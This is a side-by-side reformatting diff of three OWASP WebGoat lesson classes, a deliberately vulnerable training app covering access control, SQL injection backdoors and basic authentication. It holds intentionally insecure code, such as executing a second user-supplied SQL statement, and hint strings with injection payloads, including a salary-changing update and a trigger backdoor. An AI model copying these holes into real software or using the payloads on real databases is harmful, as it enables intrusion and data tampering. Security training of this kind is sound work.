import org.apache.ecs.Element; import org.apache.ecs.Element;
import org.apache.ecs.ElementContainer; import org.apache.ecs.ElementContainer;
import org.apache.ecs.html.A; import org.apache.ecs.html.A;
@ -13,272 +13,264 @@ import org.apache.ecs.html.Table;
import org.owasp.webgoat.session.ECSFactory; import org.owasp.webgoat.session.ECSFactory;
import org.owasp.webgoat.session.WebSession; import org.owasp.webgoat.session.WebSession;
/*******************************************************************************
/***************************************************************************************************
* *
* *
* This file is part of WebGoat, an Open Web Application Security Project * This file is part of WebGoat, an Open Web Application Security Project utility. For details,
* utility. For details, please see http://www.owasp.org/ * please see http://www.owasp.org/
* *
* Copyright (c) 2002 - 2007 Bruce Mayhew * Copyright (c) 2002 - 2007 Bruce Mayhew
* *
* This program is free software; you can redistribute it and/or modify it under * This program is free software; you can redistribute it and/or modify it under the terms of the
* the terms of the GNU General Public License as published by the Free Software * GNU General Public License as published by the Free Software Foundation; either version 2 of the
* Foundation; either version 2 of the License, or (at your option) any later * License, or (at your option) any later version.
* version.
* *
* This program is distributed in the hope that it will be useful, but WITHOUT * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without
* ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
* FOR A PARTICULAR PURPOSE. See the GNU General Public License for more * General Public License for more details.
* details.
* *
* You should have received a copy of the GNU General Public License along with * You should have received a copy of the GNU General Public License along with this program; if
* this program; if not, write to the Free Software Foundation, Inc., 59 Temple * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA
* Place - Suite 330, Boston, MA 02111-1307, USA. * 02111-1307, USA.
* *
* Getting Source ============== * Getting Source ==============
* *
* Source for this application is maintained at code.google.com, a repository * Source for this application is maintained at code.google.com, a repository for free software
* for free software projects. * projects.
* *
* For details, please see http://code.google.com/p/webgoat/ * For details, please see http://code.google.com/p/webgoat/
* *
* @author Jeff Williams <a href="http://www.aspectsecurity.com">Aspect Security</a> * @author Jeff Williams <a href="http://www.aspectsecurity.com">Aspect Security</a>
* @created October 28, 2003 * @created October 28, 2003
*/ */
public class AccessControlMatrix extends LessonAdapter public class AccessControlMatrix extends LessonAdapter
{ {
public final static A ASPECT_LOGO = new A().setHref("http://www.aspectsecurity.com").addElement(new IMG("images/logos/aspect.jpg").setAlt("Aspect Security").setBorder(0).setHspace(0).setVspace(0)); public final static A ASPECT_LOGO = new A().setHref("http://www.aspectsecurity.com")
.addElement(
new IMG("images/logos/aspect.jpg").setAlt("Aspect Security").setBorder(0).setHspace(0)
.setVspace(0));
private final static String RESOURCE = "Resource"; private final static String RESOURCE = "Resource";
private final static String USER = "User"; private final static String USER = "User";
private final static String[] resources = { "Public Share", private final static String[] resources = { "Public Share", "Time Card Entry", "Performance Review",
"Time Card Entry", "Performance Review", "Time Card Approval", "Time Card Approval", "Site Manager", "Account Manager" };
"Site Manager", "Account Manager" };
private final static String[] roles = { "Public", "User", "Manager", private final static String[] roles = { "Public", "User", "Manager", "Admin" };
"Admin" };
private final static String[] users = { "Moe", "Larry", "Curly", "Shemp" }; private final static String[] users = { "Moe", "Larry", "Curly", "Shemp" };
/**
/** * Description of the Method
* Description of the Method *
* * @param s
* @param s Description of the Parameter * Description of the Parameter
* @return Description of the Return Value * @return Description of the Return Value
*/ */
protected Element createContent(WebSession s) protected Element createContent(WebSession s)
{ {
ElementContainer ec = new ElementContainer(); ElementContainer ec = new ElementContainer();
try try
{ {
String user = s.getParser().getRawParameter(USER, users[0]); String user = s.getParser().getRawParameter(USER, users[0]);
String resource = s.getParser().getRawParameter(RESOURCE, resources[0]); String resource = s.getParser().getRawParameter(RESOURCE, resources[0]);
String credentials = getRoles(user).toString(); String credentials = getRoles(user).toString();
Table t = new Table().setCellSpacing(0).setCellPadding(2) Table t = new Table().setCellSpacing(0).setCellPadding(2).setBorder(0).setWidth("90%").setAlign("center");
.setBorder(0).setWidth("90%").setAlign("center");
if (s.isColor()) if (s.isColor())
{
t.setBorder(1);
}
TR tr = new TR();
tr.addElement(new TD().addElement("Change user:"));
tr.addElement(new TD().addElement(ECSFactory.makePulldown(USER, users, user, 1)));
t.addElement(tr);
// These two lines would allow the user to select the resource from a list
// Didn't seem right to me so I made them type it in.
// ec.addElement( new P().addElement( "Choose a resource:" ) );
// ec.addElement( ECSFactory.makePulldown( RESOURCE, resources, resource, 1 ) );
tr = new TR();
tr.addElement(new TD().addElement("Select resource: "));
tr.addElement(new TD().addElement(ECSFactory.makePulldown(RESOURCE, resources, resource, 1)));
t.addElement(tr);
tr = new TR();
tr.addElement(new TD("&nbsp;").setColSpan(2).setAlign("center"));
t.addElement(tr);
tr = new TR();
tr.addElement(new TD(ECSFactory.makeButton("Check Access")).setColSpan(2).setAlign("center"));
t.addElement(tr);
ec.addElement(t);
if (isAllowed(user, resource))
{
if (!getRoles(user).contains("Admin")
&& resource.equals("Account Manager"))
{ {
makeSuccess(s); t.setBorder(1);
} }
s.setMessage("User " + user + " " + credentials
+ " was allowed to access resource " + resource); TR tr = new TR();
} tr.addElement(new TD().addElement("Change user:"));
else tr.addElement(new TD().addElement(ECSFactory.makePulldown(USER, users, user, 1)));
{ t.addElement(tr);
s.setMessage("User " + user + " " + credentials
+ " did not have privilege to access resource " // These two lines would allow the user to select the resource from a list
+ resource); // Didn't seem right to me so I made them type it in.
} // ec.addElement( new P().addElement( "Choose a resource:" ) );
} // ec.addElement( ECSFactory.makePulldown( RESOURCE, resources, resource, 1 ) );
catch (Exception e) tr = new TR();
tr.addElement(new TD().addElement("Select resource: "));
tr.addElement(new TD().addElement(ECSFactory.makePulldown(RESOURCE, resources, resource, 1)));
t.addElement(tr);
tr = new TR();
tr.addElement(new TD("&nbsp;").setColSpan(2).setAlign("center"));
t.addElement(tr);
tr = new TR();
tr.addElement(new TD(ECSFactory.makeButton("Check Access")).setColSpan(2).setAlign("center"));
t.addElement(tr);
ec.addElement(t);
if (isAllowed(user, resource))
{
if (!getRoles(user).contains("Admin") && resource.equals("Account Manager"))
{
makeSuccess(s);
}
s.setMessage("User " + user + " " + credentials + " was allowed to access resource " + resource);
}
else
{
s.setMessage("User " + user + " " + credentials + " did not have privilege to access resource "
+ resource);
}
} catch (Exception e)
{ {
s.setMessage("Error generating " + this.getClass().getName()); s.setMessage("Error generating " + this.getClass().getName());
e.printStackTrace(); e.printStackTrace();
} }
return (ec); return (ec);
} }
/**
* Gets the category attribute of the RoleBasedAccessControl object
*
* @return The category value
*/
/** protected Category getDefaultCategory()
* Gets the category attribute of the RoleBasedAccessControl object {
* return Category.ACCESS_CONTROL;
* @return The category value }
*/
protected Category getDefaultCategory() /**
{ * Gets the hints attribute of the RoleBasedAccessControl object
return Category.ACCESS_CONTROL; *
} * @return The hints value
*/
protected List<String> getHints(WebSession s)
/** {
* Gets the hints attribute of the RoleBasedAccessControl object
*
* @return The hints value
*/
protected List<String> getHints(WebSession s)
{
List<String> hints = new ArrayList<String>(); List<String> hints = new ArrayList<String>();
hints.add("Many sites attempt to restrict access to resources by role."); hints.add("Many sites attempt to restrict access to resources by role.");
hints.add("Developers frequently make mistakes implementing this scheme."); hints.add("Developers frequently make mistakes implementing this scheme.");
hints.add("Attempt combinations of users, roles, and resources."); hints.add("Attempt combinations of users, roles, and resources.");
return hints; return hints;
} }
private final static Integer DEFAULT_RANKING = new Integer(10); private final static Integer DEFAULT_RANKING = new Integer(10);
protected Integer getDefaultRanking()
{
return DEFAULT_RANKING;
}
protected Integer getDefaultRanking() /**
{ * Gets the resources attribute of the RoleBasedAccessControl object
return DEFAULT_RANKING; *
} * @param rl
* Description of the Parameter
* @return The resources value
/** */
* Gets the resources attribute of the RoleBasedAccessControl object private List getResources(List rl)
* {
* @param rl Description of the Parameter
* @return The resources value
*/
private List getResources(List rl)
{
// return the resources allowed for these roles // return the resources allowed for these roles
ArrayList<String> list = new ArrayList<String>(); ArrayList<String> list = new ArrayList<String>();
if (rl.contains(roles[0])) if (rl.contains(roles[0]))
{ {
list.add(resources[0]); list.add(resources[0]);
} }
if (rl.contains(roles[1])) if (rl.contains(roles[1]))
{ {
list.add(resources[1]); list.add(resources[1]);
list.add(resources[5]); list.add(resources[5]);
} }
if (rl.contains(roles[2])) if (rl.contains(roles[2]))
{ {
list.add(resources[2]); list.add(resources[2]);
list.add(resources[3]); list.add(resources[3]);
} }
if (rl.contains(roles[3])) if (rl.contains(roles[3]))
{ {
list.add(resources[4]); list.add(resources[4]);
list.add(resources[5]); list.add(resources[5]);
} }
return list; return list;
} }
/**
* Gets the role attribute of the RoleBasedAccessControl object
*
* @param user
* Description of the Parameter
* @return The role value
*/
/** private List getRoles(String user)
* Gets the role attribute of the RoleBasedAccessControl object {
*
* @param user Description of the Parameter
* @return The role value
*/
private List getRoles(String user)
{
ArrayList<String> list = new ArrayList<String>(); ArrayList<String> list = new ArrayList<String>();
if (user.equals(users[0])) if (user.equals(users[0]))
{ {
list.add(roles[0]); list.add(roles[0]);
} }
else if (user.equals(users[1])) else if (user.equals(users[1]))
{ {
list.add(roles[1]); list.add(roles[1]);
list.add(roles[2]); list.add(roles[2]);
} }
else if (user.equals(users[2])) else if (user.equals(users[2]))
{ {
list.add(roles[0]); list.add(roles[0]);
list.add(roles[2]); list.add(roles[2]);
} }
else if (user.equals(users[3])) else if (user.equals(users[3]))
{ {
list.add(roles[3]); list.add(roles[3]);
} }
return list; return list;
} }
/**
* Gets the title attribute of the AccessControlScreen object
*
* @return The title value
*/
/** public String getTitle()
* Gets the title attribute of the AccessControlScreen object {
*
* @return The title value
*/
public String getTitle()
{
return ("Using an Access Control Matrix"); return ("Using an Access Control Matrix");
} }
// private final static ArrayList userList = new ArrayList(Arrays.asList(users));
// private final static ArrayList resourceList = new ArrayList(Arrays.asList(resources));
// private final static ArrayList roleList = new ArrayList(Arrays.asList(roles));
// private final static ArrayList userList = new ArrayList(Arrays.asList(users)); /**
// private final static ArrayList resourceList = new ArrayList(Arrays.asList(resources)); * Please do not ever implement an access control scheme this way! But it's not the worst I've
// private final static ArrayList roleList = new ArrayList(Arrays.asList(roles)); * seen.
*
* @param user
* Description of the Parameter
* @param resource
* Description of the Parameter
* @return The allowed value
*/
/** private boolean isAllowed(String user, String resource)
* Please do not ever implement an access control scheme this way! But it's not the worst I've {
* seen.
*
* @param user Description of the Parameter
* @param resource Description of the Parameter
* @return The allowed value
*/
private boolean isAllowed(String user, String resource)
{
List roles = getRoles(user); List roles = getRoles(user);
List resources = getResources(roles); List resources = getResources(roles);
return (resources.contains(resource)); return (resources.contains(resource));
} }
public Element getCredits() public Element getCredits()
{ {
return super.getCustomCredits("", ASPECT_LOGO); return super.getCustomCredits("", ASPECT_LOGO);
} }
} }

View File

@ -1,3 +1,4 @@
package org.owasp.webgoat.lessons; package org.owasp.webgoat.lessons;
import java.sql.Connection; import java.sql.Connection;
@ -6,7 +7,6 @@ import java.sql.SQLException;
import java.sql.Statement; import java.sql.Statement;
import java.util.ArrayList; import java.util.ArrayList;
import java.util.List; import java.util.List;
import org.apache.ecs.Element; import org.apache.ecs.Element;
import org.apache.ecs.ElementContainer; import org.apache.ecs.ElementContainer;
import org.apache.ecs.StringElement; import org.apache.ecs.StringElement;
@ -22,37 +22,35 @@ import org.apache.ecs.html.Table;
import org.owasp.webgoat.session.DatabaseUtilities; import org.owasp.webgoat.session.DatabaseUtilities;
import org.owasp.webgoat.session.WebSession; import org.owasp.webgoat.session.WebSession;
/*******************************************************************************
/***************************************************************************************************
* *
* *
* This file is part of WebGoat, an Open Web Application Security Project * This file is part of WebGoat, an Open Web Application Security Project utility. For details,
* utility. For details, please see http://www.owasp.org/ * please see http://www.owasp.org/
* *
* Copyright (c) 2002 - 2007 Bruce Mayhew * Copyright (c) 2002 - 2007 Bruce Mayhew
* *
* This program is free software; you can redistribute it and/or modify it under * This program is free software; you can redistribute it and/or modify it under the terms of the
* the terms of the GNU General Public License as published by the Free Software * GNU General Public License as published by the Free Software Foundation; either version 2 of the
* Foundation; either version 2 of the License, or (at your option) any later * License, or (at your option) any later version.
* version.
* *
* This program is distributed in the hope that it will be useful, but WITHOUT * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without
* ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
* FOR A PARTICULAR PURPOSE. See the GNU General Public License for more * General Public License for more details.
* details.
* *
* You should have received a copy of the GNU General Public License along with * You should have received a copy of the GNU General Public License along with this program; if
* this program; if not, write to the Free Software Foundation, Inc., 59 Temple * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA
* Place - Suite 330, Boston, MA 02111-1307, USA. * 02111-1307, USA.
* *
* Getting Source ============== * Getting Source ==============
* *
* Source for this application is maintained at code.google.com, a repository * Source for this application is maintained at code.google.com, a repository for free software
* for free software projects. * projects.
* *
* For details, please see http://code.google.com/p/webgoat/ * For details, please see http://code.google.com/p/webgoat/
* *
* @author Sherif Koussa <a href="http://www.macadamian.com">Macadamian * @author Sherif Koussa <a href="http://www.macadamian.com">Macadamian Technologies.</a>
* Technologies.</a>
*/ */
public class BackDoors extends SequentialLessonAdapter public class BackDoors extends SequentialLessonAdapter
{ {
@ -63,8 +61,8 @@ public class BackDoors extends SequentialLessonAdapter
private final static String SELECT_ST = "select userid, password, ssn, salary, email from employee where userid="; private final static String SELECT_ST = "select userid, password, ssn, salary, email from employee where userid=";
private final static IMG MAC_LOGO = new IMG("images/logos/macadamian.gif").setAlt( private final static IMG MAC_LOGO = new IMG("images/logos/macadamian.gif").setAlt("Macadamian Technologies")
"Macadamian Technologies").setBorder(0).setHspace(0).setVspace(0); .setBorder(0).setHspace(0).setVspace(0);
protected Element createContent(WebSession s) protected Element createContent(WebSession s)
{ {
@ -96,13 +94,14 @@ public class BackDoors extends SequentialLessonAdapter
String[] arrSQL = userInput.split(";"); String[] arrSQL = userInput.split(";");
Connection conn = DatabaseUtilities.getConnection(s); Connection conn = DatabaseUtilities.getConnection(s);
Statement statement = conn.createStatement(ResultSet.TYPE_SCROLL_INSENSITIVE, Statement statement = conn.createStatement(ResultSet.TYPE_SCROLL_INSENSITIVE,
ResultSet.CONCUR_READ_ONLY); ResultSet.CONCUR_READ_ONLY);
if (arrSQL.length == 2) if (arrSQL.length == 2)
{ {
statement.executeUpdate(arrSQL[1]); statement.executeUpdate(arrSQL[1]);
getLessonTracker(s).setStage(2); getLessonTracker(s).setStage(2);
s.setMessage("You have succeeded in exploiting the vulnerable query and created another SQL statement. Now move to stage 2 to learn how to create a backdoor or a DB worm"); s
.setMessage("You have succeeded in exploiting the vulnerable query and created another SQL statement. Now move to stage 2 to learn how to create a backdoor or a DB worm");
} }
ResultSet rs = statement.executeQuery(arrSQL[0]); ResultSet rs = statement.executeQuery(arrSQL[0]);
@ -129,8 +128,7 @@ public class BackDoors extends SequentialLessonAdapter
ec.addElement(t); ec.addElement(t);
} }
} }
} } catch (Exception ex)
catch (Exception ex)
{ {
ec.addElement(new PRE(ex.getMessage())); ec.addElement(new PRE(ex.getMessage()));
} }
@ -176,12 +174,10 @@ public class BackDoors extends SequentialLessonAdapter
+ " statements. The first is the system's while the second is totally yours."; + " statements. The first is the system's while the second is totally yours.";
instructions = instructions instructions = instructions
+ " Your account ID is 101. This page allows you to see your password, ssn and salary."; + " Your account ID is 101. This page allows you to see your password, ssn and salary.";
instructions = instructions instructions = instructions + " Try to inject another update to update salary to something higher";
+ " Try to inject another update to update salary to something higher";
break; break;
case 2: case 2:
instructions = "Stage " + getStage(s) instructions = "Stage " + getStage(s) + ": Use String SQL Injection to inject a backdoor. ";
+ ": Use String SQL Injection to inject a backdoor. ";
instructions = instructions instructions = instructions
+ " The second stage of this lesson is to teach you how to use a vulneable fields to inject the DB work or the backdoor."; + " The second stage of this lesson is to teach you how to use a vulneable fields to inject the DB work or the backdoor.";
instructions = instructions instructions = instructions
@ -248,8 +244,8 @@ public class BackDoors extends SequentialLessonAdapter
hints.add("Your user id is 101. Use it to see your information"); hints.add("Your user id is 101. Use it to see your information");
hints.add("A semi-colon usually ends a SQL statement and starts a new one."); hints.add("A semi-colon usually ends a SQL statement and starts a new one.");
hints.add("Try this 101 or 1=1; update employee set salary=100000"); hints.add("Try this 101 or 1=1; update employee set salary=100000");
hints.add("For stage 2, Try 101; CREATE TRIGGER myBackDoor BEFORE INSERT ON " + hints.add("For stage 2, Try 101; CREATE TRIGGER myBackDoor BEFORE INSERT ON "
"employee FOR EACH ROW BEGIN UPDATE employee SET email='john@hackme.com' WHERE userid = NEW.userid"); + "employee FOR EACH ROW BEGIN UPDATE employee SET email='john@hackme.com' WHERE userid = NEW.userid");
return hints; return hints;
} }

View File

@ -1,8 +1,8 @@
package org.owasp.webgoat.lessons; package org.owasp.webgoat.lessons;
import java.util.ArrayList; import java.util.ArrayList;
import java.util.List; import java.util.List;
import org.apache.ecs.Element; import org.apache.ecs.Element;
import org.apache.ecs.ElementContainer; import org.apache.ecs.ElementContainer;
import org.apache.ecs.StringElement; import org.apache.ecs.StringElement;
@ -14,318 +14,281 @@ import org.apache.ecs.html.Table;
import org.owasp.webgoat.session.ECSFactory; import org.owasp.webgoat.session.ECSFactory;
import org.owasp.webgoat.session.WebSession; import org.owasp.webgoat.session.WebSession;
/*******************************************************************************
/***************************************************************************************************
* *
* *
* This file is part of WebGoat, an Open Web Application Security Project * This file is part of WebGoat, an Open Web Application Security Project utility. For details,
* utility. For details, please see http://www.owasp.org/ * please see http://www.owasp.org/
* *
* Copyright (c) 2002 - 2007 Bruce Mayhew * Copyright (c) 2002 - 2007 Bruce Mayhew
* *
* This program is free software; you can redistribute it and/or modify it under * This program is free software; you can redistribute it and/or modify it under the terms of the
* the terms of the GNU General Public License as published by the Free Software * GNU General Public License as published by the Free Software Foundation; either version 2 of the
* Foundation; either version 2 of the License, or (at your option) any later * License, or (at your option) any later version.
* version.
* *
* This program is distributed in the hope that it will be useful, but WITHOUT * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without
* ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
* FOR A PARTICULAR PURPOSE. See the GNU General Public License for more * General Public License for more details.
* details.
* *
* You should have received a copy of the GNU General Public License along with * You should have received a copy of the GNU General Public License along with this program; if
* this program; if not, write to the Free Software Foundation, Inc., 59 Temple * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA
* Place - Suite 330, Boston, MA 02111-1307, USA. * 02111-1307, USA.
* *
* Getting Source ============== * Getting Source ==============
* *
* Source for this application is maintained at code.google.com, a repository * Source for this application is maintained at code.google.com, a repository for free software
* for free software projects. * projects.
* *
* For details, please see http://code.google.com/p/webgoat/ * For details, please see http://code.google.com/p/webgoat/
* *
* @author Bruce Mayhew <a href="http://code.google.com/p/webgoat">WebGoat</a> * @author Bruce Mayhew <a href="http://code.google.com/p/webgoat">WebGoat</a>
* @created October 28, 2003 * @created October 28, 2003
*/ */
public class BasicAuthentication extends SequentialLessonAdapter public class BasicAuthentication extends SequentialLessonAdapter
{ {
private static final String EMPTY_STRING = ""; private static final String EMPTY_STRING = "";
private static final String WEBGOAT_BASIC = "webgoat_basic"; private static final String WEBGOAT_BASIC = "webgoat_basic";
private static final String AUTHORIZATION = "Authorization"; private static final String AUTHORIZATION = "Authorization";
private static final String ORIGINAL_AUTH = "Original_Auth"; private static final String ORIGINAL_AUTH = "Original_Auth";
private static final String ORIGINAL_USER = "Original.user"; private static final String ORIGINAL_USER = "Original.user";
private static final String BASIC = "basic"; private static final String BASIC = "basic";
private static final String JSESSIONID = "JSESSIONID"; private static final String JSESSIONID = "JSESSIONID";
private final static String HEADER_NAME = "header"; private final static String HEADER_NAME = "header";
private final static String HEADER_VALUE = "value"; private final static String HEADER_VALUE = "value";
/**
/** * Description of the Method
* Description of the Method *
* * @param s
* @param s Description of the Parameter * Description of the Parameter
* @return Description of the Return Value * @return Description of the Return Value
*/ */
protected Element createContent(WebSession s) protected Element createContent(WebSession s)
{
return super.createStagedContent(s);
}
protected Element doStage1(WebSession s) throws Exception
{
ElementContainer ec = new ElementContainer();
String headerName = null;
String headerValue = null;
try
{ {
headerName = new String(s.getParser().getStringParameter( return super.createStagedContent(s);
HEADER_NAME, EMPTY_STRING));
headerValue = new String(s.getParser().getStringParameter(
HEADER_VALUE, EMPTY_STRING));
//<START_OMIT_SOURCE>
// FIXME: This won;t work for CBT, we need to use the UserTracker
//Authorization: Basic Z3Vlc3Q6Z3Vlc3Q=
if (headerName.equalsIgnoreCase(AUTHORIZATION)
&& (headerValue.equals("guest:guest") || headerValue
.equals("webgoat:webgoat")))
{
getLessonTracker(s).setStage(2);
return doStage2(s);
}
else
{
if (headerName.length() > 0
&& !headerName.equalsIgnoreCase(AUTHORIZATION))
{
s
.setMessage("Basic Authentication header name is incorrect.");
}
if (headerValue.length() > 0
&& !(headerValue.equals("guest:guest") || headerValue
.equals("webgoat:webgoat")))
{
s
.setMessage("Basic Authentication header value is incorrect.");
}
}
//<END_OMIT_SOURCE>
Table t = new Table(0).setCellSpacing(0).setCellPadding(0)
.setBorder(0);
if (s.isColor())
{
t.setBorder(1);
}
TR row1 = new TR();
TR row2 = new TR();
row1.addElement(new TD(new StringElement(
"What is the name of the authentication header: ")));
row2
.addElement(new TD(
new StringElement(
"What is the decoded value of the authentication header: ")));
row1.addElement(new TD(new Input(Input.TEXT, HEADER_NAME,
headerName.toString())));
row2.addElement(new TD(new Input(Input.TEXT, HEADER_VALUE,
headerValue.toString())));
t.addElement(row1);
t.addElement(row2);
ec.addElement(t);
ec.addElement(new P());
Element b = ECSFactory.makeButton("Submit");
ec.addElement(b);
}
catch (Exception e)
{
s.setMessage("Error generating " + this.getClass().getName());
e.printStackTrace();
} }
return (ec); protected Element doStage1(WebSession s) throws Exception
}
protected Element doStage2(WebSession s) throws Exception
{
ElementContainer ec = new ElementContainer();
try
{ {
if (s.getRequest().isUserInRole(WEBGOAT_BASIC)) ElementContainer ec = new ElementContainer();
{
String originalUser = getLessonTracker(s).getLessonProperties()
.getProperty(ORIGINAL_USER, EMPTY_STRING);
getLessonTracker(s, originalUser).setCompleted(true);
getLessonTracker(s, originalUser).setStage(1);
getLessonTracker(s, originalUser).store(s, this);
makeSuccess(s);
s.setMessage("Close your browser and login as " + originalUser
+ " to get your green stars back.");
return ec;
}
else
{
// If we are still in the ORIGINAL_USER role see if the Basic Auth header has been manipulated
String originalAuth = getLessonTracker(s).getLessonProperties()
.getProperty(ORIGINAL_AUTH, EMPTY_STRING);
String originalSessionId = getLessonTracker(s)
.getLessonProperties().getProperty(JSESSIONID,
s.getCookie(JSESSIONID));
// store the original user info in the BASIC properties files String headerName = null;
if (originalSessionId.equals(s.getCookie(JSESSIONID))) String headerValue = null;
try
{ {
// Store the original user name in the "basic" user properties file. We need to use headerName = new String(s.getParser().getStringParameter(HEADER_NAME, EMPTY_STRING));
// the original user to access the correct properties file to update status. headerValue = new String(s.getParser().getStringParameter(HEADER_VALUE, EMPTY_STRING));
// store the initial auth header
getLessonTracker(s).getLessonProperties().setProperty( // <START_OMIT_SOURCE>
JSESSIONID, originalSessionId); // FIXME: This won;t work for CBT, we need to use the UserTracker
getLessonTracker(s).getLessonProperties().setProperty( // Authorization: Basic Z3Vlc3Q6Z3Vlc3Q=
ORIGINAL_AUTH, s.getHeader(AUTHORIZATION)); if (headerName.equalsIgnoreCase(AUTHORIZATION)
getLessonTracker(s, BASIC).getLessonProperties() && (headerValue.equals("guest:guest") || headerValue.equals("webgoat:webgoat")))
.setProperty(ORIGINAL_USER, s.getUserName()); {
getLessonTracker(s, BASIC).setStage(2); getLessonTracker(s).setStage(2);
getLessonTracker(s, BASIC).store(s, this, BASIC); return doStage2(s);
}
else
{
if (headerName.length() > 0 && !headerName.equalsIgnoreCase(AUTHORIZATION))
{
s.setMessage("Basic Authentication header name is incorrect.");
}
if (headerValue.length() > 0
&& !(headerValue.equals("guest:guest") || headerValue.equals("webgoat:webgoat")))
{
s.setMessage("Basic Authentication header value is incorrect.");
}
}
// <END_OMIT_SOURCE>
Table t = new Table(0).setCellSpacing(0).setCellPadding(0).setBorder(0);
if (s.isColor())
{
t.setBorder(1);
}
TR row1 = new TR();
TR row2 = new TR();
row1.addElement(new TD(new StringElement("What is the name of the authentication header: ")));
row2.addElement(new TD(new StringElement("What is the decoded value of the authentication header: ")));
row1.addElement(new TD(new Input(Input.TEXT, HEADER_NAME, headerName.toString())));
row2.addElement(new TD(new Input(Input.TEXT, HEADER_VALUE, headerValue.toString())));
t.addElement(row1);
t.addElement(row2);
ec.addElement(t);
ec.addElement(new P());
Element b = ECSFactory.makeButton("Submit");
ec.addElement(b);
} catch (Exception e)
{
s.setMessage("Error generating " + this.getClass().getName());
e.printStackTrace();
} }
s.setMessage("Congratulations, you have figured out the mechanics of basic authentication."); return (ec);
s.setMessage("&nbsp;&nbsp;- Now you must try to make WebGoat reauthenticate you as: ");
s.setMessage("&nbsp;&nbsp;&nbsp;&nbsp;- username: basic");
s.setMessage("&nbsp;&nbsp;&nbsp;&nbsp;- password: basic");
s.setMessage("Use the Basic Authentication Menu to start at login page.");
// If the auth header is different but still the original user - tell the user
// that the original cookie was posted bak and basic auth uses the cookie before the
// authorization token
if (!originalAuth.equals("")
&& !originalAuth.equals(s.getHeader(AUTHORIZATION)))
{
ec
.addElement("You're almost there! You've modified the "
+ AUTHORIZATION
+ " header but you are "
+ "still logged in as "
+ s.getUserName()
+ ". Look at the request after you typed in the 'basic' "
+ "user credentials and submitted the request. Remember the order of events that occur during Basic Authentication.");
}
else if (!originalSessionId.equals(s.getCookie(JSESSIONID)))
{
ec
.addElement("You're really close! Changing the session cookie caused the server to create a new session for you. This did not cause the server to reauthenticate you. "
+ "When you figure out how to force the server to perform an authentication request, you have to authenticate as:<br><br>"
+ "&nbsp;&nbsp;&nbsp;&nbsp;user name: basic<br> "
+ "&nbsp;&nbsp;&nbsp;&nbsp;password: basic<br>");
}
else
{
ec.addElement("Use the hints! One at a time...");
}
}
}
catch (Exception e)
{
s.setMessage("Error generating " + this.getClass().getName());
e.printStackTrace();
} }
return (ec); protected Element doStage2(WebSession s) throws Exception
} {
ElementContainer ec = new ElementContainer();
try
{
if (s.getRequest().isUserInRole(WEBGOAT_BASIC))
{
String originalUser = getLessonTracker(s).getLessonProperties()
.getProperty(ORIGINAL_USER, EMPTY_STRING);
getLessonTracker(s, originalUser).setCompleted(true);
getLessonTracker(s, originalUser).setStage(1);
getLessonTracker(s, originalUser).store(s, this);
makeSuccess(s);
s.setMessage("Close your browser and login as " + originalUser + " to get your green stars back.");
return ec;
}
else
{
// If we are still in the ORIGINAL_USER role see if the Basic Auth header has been
// manipulated
String originalAuth = getLessonTracker(s).getLessonProperties()
.getProperty(ORIGINAL_AUTH, EMPTY_STRING);
String originalSessionId = getLessonTracker(s).getLessonProperties()
.getProperty(JSESSIONID, s.getCookie(JSESSIONID));
/** // store the original user info in the BASIC properties files
* Gets the category attribute of the ForgotPassword object if (originalSessionId.equals(s.getCookie(JSESSIONID)))
* {
* @return The category value // Store the original user name in the "basic" user properties file. We need to
*/ // use
protected Category getDefaultCategory() // the original user to access the correct properties file to update status.
{ // store the initial auth header
getLessonTracker(s).getLessonProperties().setProperty(JSESSIONID, originalSessionId);
getLessonTracker(s).getLessonProperties().setProperty(ORIGINAL_AUTH, s.getHeader(AUTHORIZATION));
getLessonTracker(s, BASIC).getLessonProperties().setProperty(ORIGINAL_USER, s.getUserName());
getLessonTracker(s, BASIC).setStage(2);
getLessonTracker(s, BASIC).store(s, this, BASIC);
}
return Category.AUTHENTICATION; s.setMessage("Congratulations, you have figured out the mechanics of basic authentication.");
} s.setMessage("&nbsp;&nbsp;- Now you must try to make WebGoat reauthenticate you as: ");
s.setMessage("&nbsp;&nbsp;&nbsp;&nbsp;- username: basic");
s.setMessage("&nbsp;&nbsp;&nbsp;&nbsp;- password: basic");
s.setMessage("Use the Basic Authentication Menu to start at login page.");
// If the auth header is different but still the original user - tell the user
// that the original cookie was posted bak and basic auth uses the cookie before the
// authorization token
if (!originalAuth.equals("") && !originalAuth.equals(s.getHeader(AUTHORIZATION)))
{
ec
.addElement("You're almost there! You've modified the "
+ AUTHORIZATION
+ " header but you are "
+ "still logged in as "
+ s.getUserName()
+ ". Look at the request after you typed in the 'basic' "
+ "user credentials and submitted the request. Remember the order of events that occur during Basic Authentication.");
}
else if (!originalSessionId.equals(s.getCookie(JSESSIONID)))
{
ec
.addElement("You're really close! Changing the session cookie caused the server to create a new session for you. This did not cause the server to reauthenticate you. "
+ "When you figure out how to force the server to perform an authentication request, you have to authenticate as:<br><br>"
+ "&nbsp;&nbsp;&nbsp;&nbsp;user name: basic<br> "
+ "&nbsp;&nbsp;&nbsp;&nbsp;password: basic<br>");
}
else
{
ec.addElement("Use the hints! One at a time...");
}
/** }
* Gets the hints attribute of the HelloScreen object
*
* @return The hints value
*/
public List<String> getHints(WebSession s)
{
List<String> hints = new ArrayList<String>();
// int stage = getLessonTracker(session, BASIC).getStage();
// switch ( stage ) } catch (Exception e)
// { {
// case 1: s.setMessage("Error generating " + this.getClass().getName());
hints e.printStackTrace();
.add("Basic authentication uses a cookie to pass the credentials. " }
+ "Use a proxy to intercept the request. Look at the cookies.");
hints
.add("Basic authentication uses Base64 encoding to 'scramble' the "
+ "user's login credentials.");
hints
.add("Basic authentication uses 'Authorization' as the cookie name to "
+ "store the user's credentials.");
